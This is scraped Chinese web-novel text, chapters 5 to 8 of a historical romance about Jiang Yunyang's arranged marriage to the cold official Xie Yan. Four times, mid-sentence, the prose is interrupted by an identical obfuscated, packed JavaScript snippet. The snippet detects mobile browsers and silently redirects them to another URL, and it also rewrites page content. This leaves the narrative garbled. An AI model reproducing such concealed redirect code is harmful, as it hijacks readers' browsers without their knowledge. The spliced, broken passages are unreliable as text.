不远处的声音更大了,像是阵风吹过,藤蔓和茂盛生长的枝叶乱颤,细碎又浓密,若是仔细辨别,则可以听到掩在这枝叶下的窸窣脚步生,匆忙又凌乱。 姜云漾自然是听不到的,实际上,在听到那个冷冰冰的声音时,她的腿就有些软了。 一股凉意从脚底蔓延上来,让她整个人都有些站不住。 太子府的山洞里,竟然会有人? 姜云漾懵了,第一反应是自己要完。 太子身居高位,本就受人揣测受人暗算得多,能躲藏在这里的,必定是绝顶高手。 她虽不太懂政治,但偶尔会从姐姐口中听说太子这一位置的特殊性。她知道太子这个位置不过是看上去光鲜亮丽罢了,实际上却危险的很。 今天一来,果然验证了。 可她……是无辜的啊!!! 想到这,姜云漾准备用最后一点力量出声呼救,不过发出“呜呜”两声,嘴巴忽然被一捂。 同时,一个低沉的声音传来:“别出声。” 姜云漾觉得自己要窒息了。 他手上的力量那么大,她怎么可能出声。 不仅如此,另一只手翻转,便将她整个人都牵制在自己身前。 宽大的掌心,像是海边久经打磨的砺石,带着某种绝对强硬的力量,将她整个人都包裹其中,趁她没注意,将其带出了山洞。 他的力量太大,险些让她招架不住,只是往后拽了一下他的衣衫,才勉强维持住平衡。 光线骤亮的瞬间,她也终于看清来人。 就在她还未反应过来时,只听“嗖”地一声,一根短而锋利的短剑,从她耳边飞快,直指不远处的梧桐枝头。 一瞬间,枝头颤栗,飞鸟惊起,并伴随着一声锦帛撕裂的声音以及仓促逃离的脚步声。 等到那声音静了一瞬,她身边的那个人才有所反应。 峻拔的身形清明又修长,日光落在那立体冷硬的眉骨上,投下淡淡的阴影,半遮着那双冷漠薄情的眼。 那双眼睛对着锦帛飘落的地方望了一会,似乎陷入了某种思索,给本就深邃的眸子又添了几分幽深。 空气陷入一阵短暂的安静。 姜云漾还没能从这安静中缓过来,突然,原本支撑着她的力量忽然松开,她眼看就要踉跄倒地。 那一刻,姜云漾也不知道自己怎么了,某种想要稳住的意识尤其强烈,几乎是以某种不可逆转之势,抓住了身旁那人的衣衫,接着,整个人都扑在了他的怀里。 仓皇抬头的瞬间,四目相对。 同时,一股清而淡雅的冷香扑面而来,像是某种韵味十足的苦茶,萦绕在身侧。 不知道是因为那双眼睛过于深邃,还是因为他周身的气质太过压迫性,姜云漾紧张地几乎不能呼吸了,发出的声音几乎微弱地听不出声:“谢、谢砚。” 谢砚当然没有回答她。 不仅没有回答,还用一只手指撑着她肩膀的位置,直接将她往前一推。 干脆、利落、不带任何情面。 冷淡的目光,颇为厌烦地扫过那张此刻因为害羞而变得通红的小脸。 只见那个被推开的少女,正静静地垂着眸子,因为反应慢一拍,等被推远了,眼里才有了几分委屈。 白皙小脸惹过一抹薄薄的红晕,密而纤细的睫毛,鸦羽般漂亮,在阳光下一闪一闪的,覆过那双像是浸了水般澄澈的双眸,透出几分娇弱的可怜。 他对于对方能喊出自己名字并不怎么惊讶,不过此刻的他并不知道她的名字。 印象中好像是姜家的三女儿。 似乎还给他敬过酒。 只不过当时她不知道在紧张什么,手一直在抖,他没什么耐心等她,又怕她将酒洒在他的衣服上,故而直接先一步接了过来。 这个事情不过是个小小的插曲,若不是今天再次看到他,他根本不会记得。 今天,也只是个无关紧要的意外。 思及此,他没什么情绪地走到不远处的围墙下,捡起那片被他的飞刀撕裂的锦帛,拿在手中沉默着端详了一会,阴冷的目光中,透着几分对对方不自量力的睥睨。 太子在位十年,他亦辅佐了十年。 这十年内,树欲静而风未止。 看似平静的皇城,实则处处暗流汹涌。 今日他不过像往常一样来府上议事,便注意到了围墙旁的异常,当机立断地躲进了附近的假山山洞里观察。 正认真观察着院内动向,山洞内便闯进来一个小东西,差点误了他的正事。 思及刚刚的经历,他烦不可耐地皱了下眉。 不过没关系,往后应该也不会再遇上了。 一旁的姜云漾自然不知道他此刻心中所想。 此时此刻,她的心里除了慌张,还有后怕。 因为她很清楚地知道,谢砚那柄银色短刀在她耳边飞过时的狠厉和决绝,仿佛下一秒,她的小命也能跟着一起飞走了似的。 她不过是误打误撞才进了山洞,他至于对她那样凶残吗? 明明是害怕的时刻,她的心中却忍不住想起昨日看到的话本子里的内容。 [勇猛][强势][占据]之类的字眼,浮现在脑海中。 她惊恐地发现,这……不就是某种印证吗? 她想起他捂住她嘴时的力量,触碰他手臂时的冷硬,还有她不经意间摸到的,但没多久就被他出言制止的腰腹部…… “小姐,你刚刚去哪儿了?没事吧?” 打断她思绪的是翠竹的声音。 她刚刚差点没担心死! 不过一眨眼的功夫,小姐就不见了踪迹,慌张找了半天,直到耳边响起一阵混乱的脚步声,才看到人影。 和翠竹一起过来的,是太子府的家丁和侍卫,此刻正朝着那位不速之客的方向赶去。 “我……没事。” 看到翠竹过来,姜云漾也彻底松了口气,但目光还是下意识往不远处一瞧,只见刚刚那抹熟悉身影,已经消失了。 翠竹看她神色已经恢复正常,也就放心了下来,“没事就好,没事就好。” 只是看到她手上握着的东西,陡然睁大了眼睛。 “小姐……你手上拿着的是?” - 太子府正堂。 谢砚阔步进来时,赵琰刚刚端起茶杯。 南地新贡的宿雨龙井,热水氤氲的瞬间,满屋子都是馥郁清香。 只不过这样好的茶叶,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994098|178093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有送到嘴边,就被赵琰又匆匆忙忙地放下了,同时,飞快拿起手边的文书,迅速进入读书状。 这一系列装模作样的假动作,自然逃不过谢砚的眼,他缓步进来,目不斜视地扫过赵琰手上的手册,淡声道:“看来殿下近来对工部的事情颇为上心,是不是要属下……” 一听到到工部这两个字,赵琰瞬间就不淡定了,上次就是因为他提了修河渠的事,谢砚一本折子上去,让他跟着工部在山里住了三个月,刚回来还没几天,又想发配他去哪儿? 因此立马将手中的文书放下,顺势往书堆里塞了塞,“不用不用,孤只是随手翻阅而已。” 谢砚也浅浅做礼,“殿下。” 赵琰没办法,只得起身,言不由衷地道:“辛苦谢大人了,今日也是来的这样的早。” 突然,一名侍卫入堂禀告:“殿下,是个刺客,腿上受了重伤,被发现时已经投湖身亡了。” 此刻的谢砚,才淡声回复赵琰的问候:“嗯,再晚一点,再见殿下怕是要百年以后了。” 毫不掩饰的讥讽语气,满朝大臣,大概也就谢砚一个人能如此。 赵琰:“……” 可到底刺客也是他发现的,若是没有他碰巧在海棠苑的那一飞刀,估计现在人已经在正堂的屋顶上了。 他府里那些家丁侍卫他知道,十个都比不上谢砚一个,到时还不知道要闹出多大动静。 因此他此刻只是轻咳了两声,摆摆手冲侍卫道:“你们先下去。” 半晌沉默后,赵琰问:“怎么说?” 谢砚:“撕下来的锦帛云脚细密,典型的之字针法,带鎏金收口,应该是三皇子府上的人。” 赵琰闻此,愤愤道了句:“又是老三。” 三皇子名为赵芥,为舒妃之子,舒妃今年已年过三十,却依然盛宠不断,内外势利一联合,也就让他生出了不轨之心。 朝中大小事给他使绊子也就罢了,竟然来刺杀这种手段也用上了,也不知道要做什么样的局。 可就是这样心知肚明的事情,他还偏生拿不到赵芥的把柄。 赵琰在一旁骂了半天。 半晌之后,回应他的不是同仇敌忾的气愤,而是漫不经心的一句:“三皇子固然可恶,可您自己的防范又有哪些?” 赵琰噎了一下,正准备回话,又被截住。 谢砚:“属下前一周让您加强防守的文书,您仔细过目了吗?” 赵琰:“……” 天知道谢砚这个人,一周递上来的文书,比一般的京官半年递上来的都多,他哪能那么快看完。 赵琰咳了咳:“明堂,今天的事情就是个意外,孤平日里也是很小心的,也不是闭着眼睛走路啊。” 谢砚:“在属下看来,殿下的眼睛确实很久没睁开过。” 赵琰:“……” 他争辩不过,只好提起点别的事情缓解气氛:“明堂,你猜我上次去你们府上,听到谢夫人说什么了吗?” 谢砚当然不会猜,只是沉眸等待着。 最后还是赵琰主动揭开了谜底。 只见他笑眯眯地开口道:“她说,明堂你的婚事定下了。” 这下,原本安静的环境,彻底变成了死寂。 6. 第 6 章 沉默之后,只听那人沉稳开口。 “殿下有关心这个的时间,不如关心点别的。” 赵琰:“?” “否则也不至于将自己置于现在这样的危险当中了。” 赵琰:“……” 他今日不到寅时就起了床,到现在共做了三篇策论,四篇经科,外加练习骑射、围猎,现在不过关心一句你的婚事,就成不务正业了?!! 古人云,成家立业,成家也是一件大事不是吗? 可这话他可不敢说出口。 搞不好还要为此被抓着上一堂课。 谢砚比他年长三岁,自记事起,他就是父皇口中经常念叨的对象,说他文章做的如何好,策论和经科又如何超过那些年长的堂官,就连投壶射覆这样的闲余,都要拿出来说教一番,简直就是他的童年阴影。 没想到再过三五年,谢砚直接成了圣上钦点的内议员并书房伴读,阴影直接成了实影。 他府内现在还无太子妃,不过已有两个良娣,谢砚虽然没有明说过,但是他很清楚,谢砚一直对他纳良娣的事情不满。 至少按照谢砚的想法,他应该是一月只归家一次,剩下的时间都在皇城内的办事厅里,或者干脆连家也不要回了,像他一样住在寺庙里才是。 不过寺庙啊…… 也就谢砚那种人才能做出这种事了。 因此赵琰此刻也颇为识趣地没有回应,直到谢砚准备离开,他才非常积极地起身,给人送了出去。 太子府门口,宿雨早已等在了门口。 天色已近黄昏,夜里风凉,他从车里拿了件披风。 按照往常的习惯,他先是帮谢砚整理了一下衣摆,只是触及到腰部的时候,忽然一惊,睁大双眼,连语调都都不稳:“主、主子,你腰间的无事牌,怎、怎么不见了?!” 宿雨是他的贴身小厮,平日里的饮食起居,皆由他负责。 自他记事起,这块无事牌就在谢砚身上了。 谢砚幼时曾因一场意外落水,被救上来之后,连续多日高烧不退,各种汤药针灸皆无作用,甚至差点为此丢了性命。谢夫人无法,去拜访寺内高僧。得高僧指点后,用一块极稀有罕见的墨翠,做了块无事牌,让其常年挂在身上。 这些年,谢砚身子一直很好,很少有什么病痛的时刻,这个无事牌至多算个护身符一样,虽然不至于说当命根子一样守护,但至少也小心地存着护着。 明明早上出门的时候,他还看的好好的,怎么去了一趟太子府就不见了?! 一想到这个无事牌的意义,宿雨脸色就苍白了几分,额头也冒了几分冷汗,呆立在原地。 眼前的谢砚倒是很淡定。 听到宿雨这么说,他也下意识地摸了下腰间。 原本佩戴无事牌的位置,此刻空空如也。 宿雨焦急的声音响起:“是不是落在太子府了?小的这就去找找。” 说完,他就要折返去太子府内,好像再晚几步,自己的命就要跟着没了似的。 只是还没跑两步,便听到那个熟悉的声音冷清道:“慢着。” 他已经知道那块无事牌的去处了。 只是丢失的那一幕,根本无法描述。 于是面对着宿雨过分焦急的目光,他只是轻描淡写地来了句:“送人了。” 宿雨:“啊?!” 宿雨整个人都惊了:“这块牌子可是老夫人专门为您求的,您怎么能——” 只见男人沉着眉,冷声道:“你的意思,让我把送出去的东西再要回来?” “我——”宿雨说不出话来了,送出去的东西确实没有要回来的道理。 但问题是,这个东西不该送人啊! 想到日后怕是要被谢夫人追问,宿雨就觉得自己整个人要碎了。 可是眼前的谢砚没有在想解释的意思,只是兀自整理了一下斗篷,就直接上车了。 宿雨没办法,只能望着他的背影,愁眉苦脸也跟了上去。 风卷了阵残云,带来阵阵舒爽凉意。 另一边,回程马车上的姜云漾也觉得自己快碎了。 她根本没想到,自己会在慌乱之中将谢砚身上的挂饰给拽了下来。 如果是块普通的配饰也就还好,但阿姐说,这块牌子不仅有风水阴阳的说法,价值也很昂贵,光是这块原料,就要百金以上,更不用说其雕刻方式,以及上下的镶嵌的黄金纹式。 可是要怎样才能还回去? 想要还回去,岂不是还要再见到谢砚? 见到他之后,不会还要解释当时她是怎样不小心摘下这东西的吧? 想到这一切的一切,姜云漾就小脸一垮,无比焦虑。 就在她胡思乱想之际,马车停在了半道。 翠竹打了下帘子,同姜云漾道:“小姐,到了。” 姜云漾这会还有些恍惚,“到哪儿了?” 翠竹笑着打趣:“您早上不是吩咐回程的时候去一趟书铺吗?怎么这就忘了” 姜云漾连忙:“哦哦,对。” 今天这么一闹,差点让她忘记了那个倒霉的话本子。 昨晚上恍恍惚惚看了半宿,她便想着今日来找老板问问,最好能问出来这书是出自什么人之手,再找到那个人,问问他是不是单纯的巧合,免得她整日提心吊胆,吃不好也睡不着,总想着里面的内容会不会和现实照应。 下了马车,姜云漾便直奔柜台的位置。 正纠结着该如何开口,没想到,此刻正笑脸迎接她的,早已不是从前熟知的那个掌柜的。 姜云漾错愕一瞬,往里面看了一眼,发现整个书铺的布置,也和前几日的状态不同。 “你、你们掌柜的呢?!” 姜云漾并不是这么问的第一人,店掌显然已经习惯,并没有被冒犯的感觉,笑着回了句:“你说从前的刘掌柜吗?他已经把库存清完走了,也不知道跑去哪里发财了。” 姜云漾呆愣一瞬,连忙走到摆放有话本子书架,可是左找右找,都没有再找到一本《春月记》。 再询问现在的这位柳老板,他说无论是之前清库还是进新书,都未曾看到这样名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994099|178093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话本子。 姜云漾彻底茫然了。 从前的老板已不在,书铺内的布置也完全换了副样子,过往的经历,恍恍惚惚如一场痴离梦境,让她分不清现实和梦境的区别。 正愣神着,她的肩膀忽然被人一拍,“原来你这这里,让家里人好找。” 感受到这不深不浅的力度,姜云漾忽然大梦初醒般的缓过神来,转眸的瞬间,看到二姐姐姜云映的脸。 “二姐姐。”她慢先是怔了一瞬,接着慢半拍似的回应。 若是往常,姜云映或许还会打趣她几句,但今日,她是受老太太的嘱托过来,也就没和她废话,直接开门见山道:“赶紧回家吧,家里还有事。” 姜云漾不明所以:“什么事?” 姜云映顿了一下,面上的情绪有几分捉摸不透:“和你有关,是好事,喜事。” 姜云漾更茫然了。 姜云映看她这呆头呆脑的样子,很是无奈。 她和姜云漾虽同住一家,但并非亲生姐妹,因此对这个妹妹的态度向来很分明,如果有长辈,就格外热络些,但私下里,觉得和她交流有些太费劲,一般也不会多搭理。 但此刻她想了想,还是上前一步,附在她耳边轻声道:“谢家来提亲了。” 她这话说的很轻很柔,有种江南女子般的温柔和小意。 姜云漾顿了下,还未开口,又听她继续道:“你和谢家公子的婚事,已经定下了。” 如此温柔的一句话,此刻落在姜云漾的耳朵里,却如惊雷轰鸣。 “不、不可能。”姜云漾结结巴巴地回说。 听她这样说,姜云映的眉心轻轻一动,像是某种心事被触动,心中倏忽一下。 但很快,就将这点情绪压了下去,继续道:“怎么不可能?我们两家本就有婚约,如今家中待嫁的女儿只剩了下你,不是你还有谁?” 姜云漾结结巴巴地想要争辩,还未开口,又被姜云映打断:“好了,不多说了,你赶紧回去吧。” “老太太和谢夫人已经在家中等了许久了,我已经将话带到了,回去晚了,老太太和你爹发火了,和我可没关系。” 提到家中长辈,姜云漾果然缩瑟了一下,心里虽然惶惶无措,却也不敢再耽搁了。 又过了半刻钟,她的马车就彻底消失在了姜云映的视线中。 而此刻的姜云映却没有及时登车回府,她像姜云漾一样,在摆放话本子的那个书架旁边徘徊了一会。 直到掌柜的问了一句,“姑娘想要什么书?”才堪堪抬起了头。 她并未回话,抬眸笑了下,然后随手拿起手边的一本诗经讲义,去付了钱。 因为攥地有些紧,新书的一角在她掌心上形成一层淡淡的红。如此痛感,却依然没有能让她从思绪中抽离。 脑海中,是姜云漾和书铺掌柜刚刚的那番对话。 倒不是因为两人的对话有多么特别。 而是因为,她提到的那本叫《春月记》的话本子,她也有一本。 二此刻,那本就躺在她房间的柜子里。 7. 第 7 章 夜色有些凉,细而弯的月牙挂在高高的树梢上,将一层淡淡的光落在半卷的竹帘上,一阵微风吹来,将细小的帘穗吹得摇摇晃。 姜云漾坐在窗前,倦倦地用手心拖着小脸,心情极为复杂。 她回来的还是晚了一步,和谢家的婚事还是那样定了。 但早一步又能如何? 看父亲一脸喜气洋洋的表情,她就知道,他是一点儿也指望不上了。 这谢家的动作也是真的快,当天就把聘礼给下了,同时将结亲的日子也定好了,就在二姐姐结亲的后两日,说什么那天是大师批过的好日子,好事成双,双喜临门,还旺子孙。 因此,被父亲象征性地说教了一会儿后,她便和姜云映一样,加入备婚的队伍。 她母亲过世的早,所以备婚的事情,除了二叔母,剩下的便是大姐姐在负责。 她对这些不了解,也不愿意钻研。其实这些天她也把自己哄得差不多了,她确实是讨厌谢砚,但是更怕死。 既然拒婚是把全家往火坑里面推,那么还不如试一试,如果真就如话本子那样的走向,她至少,还有个指导。 于是,所谓的备婚,就是整天就把自己关在自己的房间里,一半时间折纸,一半时间琢磨那本处处都透着不寻常的话本子。 虽然她依然有一看到这本书就脸红心跳的毛病,但好歹稍稍推进了些,顺便研究了一些细节。 比如话本子上关于男女主大婚的内容。 书上说,那谢公子对这场替嫁的婚姻并不满意,只不过他这人本就无心情爱,故而把这场婚事当成人生中一个任务,随便走走过场就好,因此大婚当日,并没有要歇在房里的意思。 但那书中的姜三小姐知道这样不行,若是得不到郎君的心,往后的危急便会一点点来临,因此便想了个办法,当晚便将那谢公子留了下来。 至于方法是什么…… 姜云漾咽了下口水,她觉得自己大概是做不到的。 她现在只想着谢砚当时能主动留下来就好了。 反正也就是两个人躺在同一张床上睡一觉,只要她安安静静一动不动,想必那谢砚也不会拿自己怎么样。 这样想着,她把手上的折纸翻了翻,没多久,一个漂亮小鹤就完成了。 她拽了拽小鹤的翅膀,当做飞行的样子,飞完了,又将小鹤摆放在不远处,她围着的一个小围栏里。里面现在已经有了一只小白兔,一只小猫和一只小蝴蝶,还有一个漂亮的小房子。 看了一眼她还觉得有些遗憾,若是日后进了谢家,这些东西怕是也做不成了。 谢砚不会是那种能陪着她一起折纸的人。 可是放眼过去,这世上又有几个能陪她折纸的人呢? 话本子上总是说,爱是最虚无缥缈的东西,真心难得,就算得了也能很容易转瞬即逝。 反正她总是要嫁人,别的不好说,至少她对自己的容貌有绝对的自信,总不至于让谢砚接受不了。嫁入谢家,至少能保她后半辈子衣食无忧吧。 就这样胡思乱想了一阵,心下也宽慰不少,她于是从桌前的点心匣子里拈了一块茉莉酥,慢悠悠地吃了起来。 她在这边吃的悠闲,却不知道此刻的谢府,正陷入一阵僵持的讨论。 谢家正堂内,瑞兽鎏金的香炉内,正燃着袅袅青烟,上好的炒青茶冲开的瞬间,满屋子都是馥郁焦香。 这样好的氛围,围坐的众人,脸色却都阴云密布。 “你和姜家三姑娘的婚事,没得商量。” “怎么,事情都到了这个地步,你还想退婚不成?谢家没有这样的传统,也不会出这样的事,这几日你也不要回你那什么劳什子寺庙了,就给我待在家里,安安静静地备婚。” 原本脸色就不善的谢砚,这会更是差的不行。 实际上,他这几日的情绪一直不佳。 那日在太子府,他还以为是道听途说,毕竟是姻亲这样的大事,此前从没有人和他商量过,所以也就没放在心上。 从太子府回来后,他甚至没回家,就去了长住的严云寺工作。 近些年来党争不断,需要处理的事情太多太多,他们家虽然人口虽称不上多,但到底不是能办公的好地方,因此为了提高效率,他干脆将住处搬去了京郊的严云寺。 那里环境清幽,来回打扰的人也甚少。 没想到就在他埋头处理公务的这几天,家中竟然背着他定了亲,定的还是姜家那个三姑娘。 想到这个人,谢砚就忍不住皱眉。 看他皱眉,谢夫人就觉得气不打一处来:“怎么,你有哪点不满意吗?姜家本就和我们谢家有婚约,和姜家联姻,于义于理都该如此,更何况,姜家那个小姑娘长得也漂亮,性子也极温柔,哪点配不上你?” 长得漂亮,性格温柔。 听到这,谢砚虽没有吭声,但是眉心处更紧了。 样貌他从没有仔细看过,至于性格…… 他觉得母亲的眼睛可能出了点毛病。 这个女子身上的“温柔”,和他理解的温柔好像是两种东西。 不过他并没有反驳。 那段婚约的事情他从前听说过,和姜家联姻,确实理之自然,不过是个妻子而已,他相敬如宾就好了,应该也不会对他的生活造成什么影响。 谢夫人的嘱咐还在耳边回荡。 “说起来,你这个年纪也不算小了,你父亲到你这个年纪,儿子都有两个了,漾漾可是比你还要小四岁,要是嫌弃,也是人家嫌弃你。” “要是再晚一年,估计都是能被人拉出来诟病的程度。” “行了,最近家里的事情你就不用管了,安安心心的在家等婚期吧。” 谢砚:“……” 虽然这话听着没错,但为什么让他觉得怪怪的? 话到如此,他以为训导已经结束,正准备往外走,便听谢夫人又道了一句:“你等一下。” 谢砚顿住脚步。 谢夫人吩咐身份的管家:“葛叔,你把我让你送的东西,现在就送过去吧。” 很寻常的一句话,葛叔却摸了摸鼻子,似乎有些不好意思:“夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994100|178093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,现在就送吗?” 谢夫人语气笃定:“嗯!今天就送,反正婚期也就这么几天了,再晚两天,怕他都没时间看。” 葛叔这次倒是没说什么了,只不过脸好像有些红。 很快,他从谢夫人的住处内,捧了个紫檀盒子,跟着谢砚走到了外厅,垂手礼貌地准备递过去:“少爷。” 谢砚对这个东西没兴趣,只是淡淡扫了一眼:“宿雨,你拿一下,到严云寺再说。” 一听“严云寺”三个字,葛叔立马有些慌神:“少、少爷,夫人嘱咐过,您这几日不能去严云寺的!” 谢砚递过来一个冷淡眼神。 若是平日里,葛叔可能也直接让人走了,他们家这位公子虽然想来都是将礼数和教养刻在骨子里,但是工作起来也真的是不要命。 夫人的话他尚且不放在耳朵里,他一个管家自然更说不上嘴。 可他怀里的这东西,真的不适合出现在严云寺啊。 谢砚看他一副要说不说的样子,眼见着就要不耐。 葛叔也不敢纠结了,直接上前一步,红着一张老脸,将盒子递过去:“少爷,要不您先拿回房间看看?” 这个东西夫人在下聘礼时就备好的。 正常来说,到他们家公子这个年岁,一般也都不需要备这种东西。 但是谢夫人也确实是担心,毕竟这么多年来,在她严重,她们家公子没有显示出一个正常青年该有的七情六欲,有时她甚至怀疑他是不是某方面有些问题…… 所以专门嘱咐葛叔备下了。 这番纠结并没有落入谢砚眼中。 实际上,无论是即将来临婚事,还是母亲送的这个盒子,在他看来都不重要,眼下最重要的是在寺院的禅房中那八十多本还未批复的文书。 在谢府里已经耽误了些时间,再晚一点,怕是整个晚上都要交代过去了。 因此接过盒子的一瞬间,他就直接打开了。 葛叔甚至没来的及阻止住:“少爷——” 只见盒内放着一排做工非常精致的版画。 沉香木,镶金边,在阳光下,泛着温润的光,只是上面雕刻的东西…… 谢砚的脸色在一瞬间变黑,接着,盒子“啪”地一下被彻底关住。 葛叔虽惊得一颤,但想起夫人的嘱咐,还是忍不住将身子往前探了探:“您有什么不懂的细节,都可以问,我可以……” “葛叔。” 他的话最终还是没有说完,就被一个阴沉的声音打断。 “你若喜欢,赏你。” 葛叔:“???” 他可是正经人家的正经管家,怎么可能莫名其妙地喜欢这种东西? 他这么做,还不是为了稳稳当当地完成这份差事吗?!! 可还来不及他反应,盒子又完整地回到了他的手里。 抱着那个盒子,他的心情无比复杂。 复杂中还透着担心。 看的那么快,真的能看真切吗? 万一洞房那日,没有发挥出来可怎么办啊?! 8. 第 8 章 接下来的日子,姜云樱都在家里待嫁。 平日里她就不喜出门,现在更乐得一个人待着。 其实更重要的一个原因是,她不敢出门。 她怕自己忍不住,想要逃婚。 另一边,谢砚也被关在了谢府。 那天葛叔“无意”透露了谢砚并没有把那个盒子给带走之后,谢夫人便派了十几个家丁,在严云寺的半道上将谢砚给截了回来。 截回来后,又给他院门加了两道锁,像是他下一秒就要逃婚似的。 谢砚没工夫找她理论,反正那些公文他已经找人从严云寺带回来了,关在院内倒也清净,他照旧像往常一样看书写字处理公务。 谢府在不知不觉中,焕然一新。 各式各样的花灯,用竹木、绫绢、玉佩、花穗等制成,挂在檐下,在微风下轻轻摆动。木窗上贴满了大红色的喜字,只能能看到的瑞兽雕像,都挂上了红色的绣球。 院落角落里,则摆放着象征美好寓意的桂花、金桔、兰花、文节竹等,四处一派喜气洋洋。 姜家也做足了准备。 前两日刚刚送走了二女儿,今日又是三女儿出嫁,人人都道这是双喜临门的好事。 两人就这样各自被关到结亲那一日。 姜云漾早早起床梳洗。 铜镜前的少女,顶着一张芙蓉面,皮肤白皙如玉,在艳红色胭脂的点缀下,显得既娇俏又动人。只是那双漂亮的眼睛,暗含着几分担心,同时兼具几分赶鸭子上架的无奈。 前两日南阳叶家娶走了姜家的二女儿,那排场就已经足够盛大了,到了和谢家这一场,大家才见识了什么叫真正的世族大婚。 迎亲的队伍弯弯绕绕,足有两条街,所用的马车,轿撵,无一不是奢华至顶。鼓手很快吹吹打打地就到了姜家。 彼时的姜云漾,还在纠结那红绸要怎么盖。 她觉得好紧张。 虽然大姐姐亲自从太子府过来伴嫁,但她依然有一种置身于虚空之中的恍惚感。 手也不听使唤,腿也不听使唤,连带着脑袋也不听使唤。 “大姐姐,我真的……要去谢家了吗?” 姜云昭看她这副缩缩瑟瑟的样子,并没有责备。 她出嫁的时候也紧张,只不过她控制的好,不管心里怎么想,表面上还是装的一副淡定风光的模样。 于是她轻轻捏了捏姜云漾的手背,“都是新娘子了,怎么还问这样的话?传出去,可是要被人笑话的。” 虽然这样说,但她还是又说了几句宽慰的话。 什么谢府就在附近啊,想回家随时可以回家,结婚是喜事,要大大方方地出去才行。 还没说两句,忽听得一个脚步踏门而入。 是谢砚。 他按照接驾的吉时,不差一分一毫地出现在了众人眼前。 只见男人面容似往常一样清冷,平静的深眸中看不出什么情绪,明明是迎亲这样喜庆的事情,却严肃得像是完成某项任务。 旁人或许还觉得这人有些奇怪。 但是姜姜云昭在太子府久了,知道他就是这副脾气。 在她看来,今日似乎还算好的。 至少他在看到姜云漾有些紧张无措时,还亲自扶了下她的手臂。 被盖头遮着的姜云漾自然也感受到了。 那力度不怎么温柔,但是比那日在假山山洞中却柔和多了。 姜云漾知道这一刻终于还是来了。 她很明显能感受到姐姐扶着自己的手松开了,可是她又不能上前抓住,便也只能将重心偏到谢砚这边,随着他的节奏往前走。 不知道是不是他抓她的力量太过稳固,刚刚飞快的跳动的心脏,似乎有了几分和缓的痕迹。 像是在虚空中,终于找到了些脚踏实地的真实。 姜云漾就这样跟着他出了门。 老太太和父亲等一众家人已经等在了前堂,她一一作别之后,便又跟着谢砚上了轿撵,又跟着吹吹打打和一路热热闹闹的鞭炮声到了谢府。 谢府很大,很多流程和仪式也很繁多,只不过有谢砚带着,她觉得一切比自己想象中要轻松多了。 整个流程像是被刻在他脑子里一般,明明也是第一次,却从头到尾没有出一丝差错。 最后随着礼官的一声“礼成”,便被送进了洞房。 谢砚按理要去外面待客,所以偌大的房间内就只有姜云漾和翠竹在里面等着。 而到了这个安静的房间中,姜云漾才觉像是重新活过来了一般。 她先是活动了一下僵硬的四肢,接着又转了转僵硬的脖子,动作幅度有些大,险些弄掉了喜帕。 翠竹忙在一旁整理:“姑娘,这个可不能掉,必是姑爷亲自掀开才行,不然不吉利。” 这是大小姐在家中专门交代过的事情,她也就一直留着心。 听到这句话,姜云漾显得有些泄气。 这喜帕着实有些碍事,若是谢砚来的晚了,一直这样顶着,还真的挺累。也不知道他来的有多晚,可万一,他干脆来都不来了呢? 今日她虽然一直被谢砚牵着,但是并没有看到他的情绪,也没有和他说过一句话,只是在过门的时候,听到他冷声提示,说前面有个坎子。 其余时间,两人根本没有别的交流。 也不知道他对这桩婚事满意不满意。 可问题是,他怎么可能满意。 前几次和谢砚的碰面都算不上顺利,他对自己的嫌弃很明显地写在了眼睛里。 这样想着,姜云漾又开始焦虑。 越想越焦虑,越想越复杂,最后又不自觉的想起那个话本子,更是直接打了个冷颤。 翠竹看状况不对,忙问了一句:“小姐,您怎么了?” “是不是房内有些冷?要不要加一件外衣?” 虽已四月下旬,但是前几日下了一场雨,气温一直不稳定。那件嫁衣好看是好看,但却显单薄了些,一路过来,很容易就着了些凉意。 姜云漾摇了下头,“我就是在想,谢砚……他什么时候会过来。” “你说,他不会不过来吧?” 翠竹还以为是什么事情,原来是为这事担心,她连忙道:“小姐不必担心,谢公子最是克己守礼之人,新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994101|178093||http|test|mini|href|location''.split(''|''),0,{})); () { 